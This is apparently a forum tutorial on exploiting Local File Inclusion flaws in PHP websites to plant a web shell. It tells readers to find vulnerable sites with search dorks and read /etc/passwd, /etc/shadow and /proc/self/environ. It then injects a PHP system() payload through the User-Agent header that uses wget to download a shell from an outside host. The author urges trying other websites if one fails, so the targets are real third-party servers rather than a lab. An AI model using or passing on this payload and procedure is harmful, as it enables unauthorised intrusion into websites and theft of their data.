Local File Inclusion Injection For web application pentesting

THERE IS 6 PARTS OF THIS TUTORIAL:::


1 Introduction
2 Finding LFI VULN. WEBSITE
3 Checking if etc/passwd is accessible
4 Checking if proc/self/environ is accessible
5 Injecting malicious code
6 Access our shell


LET'S BEGIN....

1 Introduction

In this tutorial I show you how to upload a shell on websites using Local File Inclusion vulnerabilities and
injection malicious code in proc/self/environ.


Local File Inclusion (LFI) is similar to a Remote File Inclusion vulnerability except instead of including remote files, only local files i.e. files on the current server can be included. The vulnerability is also due to the use of user-supplied input without proper validation.


Is a step by step tutorial.


2 Finding LFI

- Now we are going to find a Local File Inclusion vulnerable website.So we found our target,lets check it.
FOR THAT I CAN PASTE HERE SOME GOOD GOOGLE DORK USING THAT YOU CAN FIND LFI VULNERABLE WEBSITES

Dorks : here

YOU CAN FIND MANY WEBSITES BUT ALL ARE NOT LFI VULNERABLE ....SO DON'T :nono: BE ANGRY....
BE COOL:cool:

EXAMPLE I CAN FIND WEBSITE ANME:

<?php
www.example.com/view.php?page=contact.php

NOW WE ARE GOING TO CHECK IF IT IS LFI VULNERABLE OR NOT.....FOR THAT WE CAN REPLACE contact.php WITH ../ SO URL BECOME

<?php
www.example.com/view.php?page=../

AND WE GOT AN ERROR

<?php
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337


IF YOU GOT AN ERROR THEN IT IS LFI VULNERABLE ...AND IF YOU CAN NOT GET ERROR OR IF YOU GET BLANK PAGE THEN IT'S NOT LFI VULNERABLE...


3 Checking if etc/passwd is accessible
 

 Now lets check for etc/passwd to see the if is Local File Inclusion vulnerable.Lets make a request :

<?php
www.example.com/view.php?page=../../../etc/passwd


we got error and no etc/passwd file
 

<?php
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337


SO WE GO MORE DIRECTORIES UP

<?php
www.example.com/view.php?page=../../../../../etc/passwd


we successfully included the etc/passwd file.

<?php
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin


THERE ARE ALSO GOOD DIRECTORIES THAT YOU CAN VISIT::

<?php
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default


4 Checking if proc/self/environ is accessible

- Now lets see if proc/self/environ is accessible.We replace etc/passwd with proc/self/environ

<?php
www.example.com/view.php?page=../../../../../proc/self/environ


IF YOU GET SOMETHING LIKE THIS

<?php
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=../../../../../../proc/self/environ REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=../../../../../../proc/self/environ SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.example.com Port 80



proc/self/environ is accessible.If you got a blank page,an error proc/self/environ is not accessible or the OS is FreeBSD.

5 Injecting malicious code

- Now let inject our malicious code in proc/self/environ.How we can do that?We can inject our code in User-Agent HTTP Header.
Use Tamper Data Addon for Firefox to change the User-Agent.Start Tamper Data in Firefox and request the URL :

<?php
www.example.com/view.php?page=../../../../../proc/self/environ

Choose Tamper and in User-Agent filed write the following code : TAMPER DATA IS AN ADDON OF MOZILLA FIREFOX ..JUST GOOGLE IT YOU FIND IT...

<?system('wget http://www.zer0w0rm.com/web/username/your shellname.txt -O shell.php');?>


Our command will be executed (will download the txt shell from http://www.zer0w0rm.com/Shells/gny.txt and will save it as shell.php in the
website directory) through system(), and our shell will be created.
If don't work,try exec() because system() can be disabled on the webserver from php.ini

HERE "http://www.zer0w0rm.com/web/username/your shellname.txt" IS A LOCATION OF YOUR SHELL...WHICH YOU HAVE TO PUT IN TXT FILE..

IT IS NOT NECESSORAY TO UPLOAD YOUR SHELL ON DRIVE HQ...

WHAT THIS CODE DO IS UPLOAD YOU TXT FILE TO LFI VULNERABLE WEBSITE AS shell.php


6 Access our shell

- Now lets check if our malicous code was successfully injected.Lets check if the shell is present.


<?php
www.example.com/shell.php

OUR SHELL IS THERE INJECTION IS SUCCESSFULLY....
IF SHELL IS NOT THERE THAN TRY ANOTHER WEBSITE...


Thank you (zer0w0rm)

Published By : Zer0w0rm ~ Zer0w0rm

 

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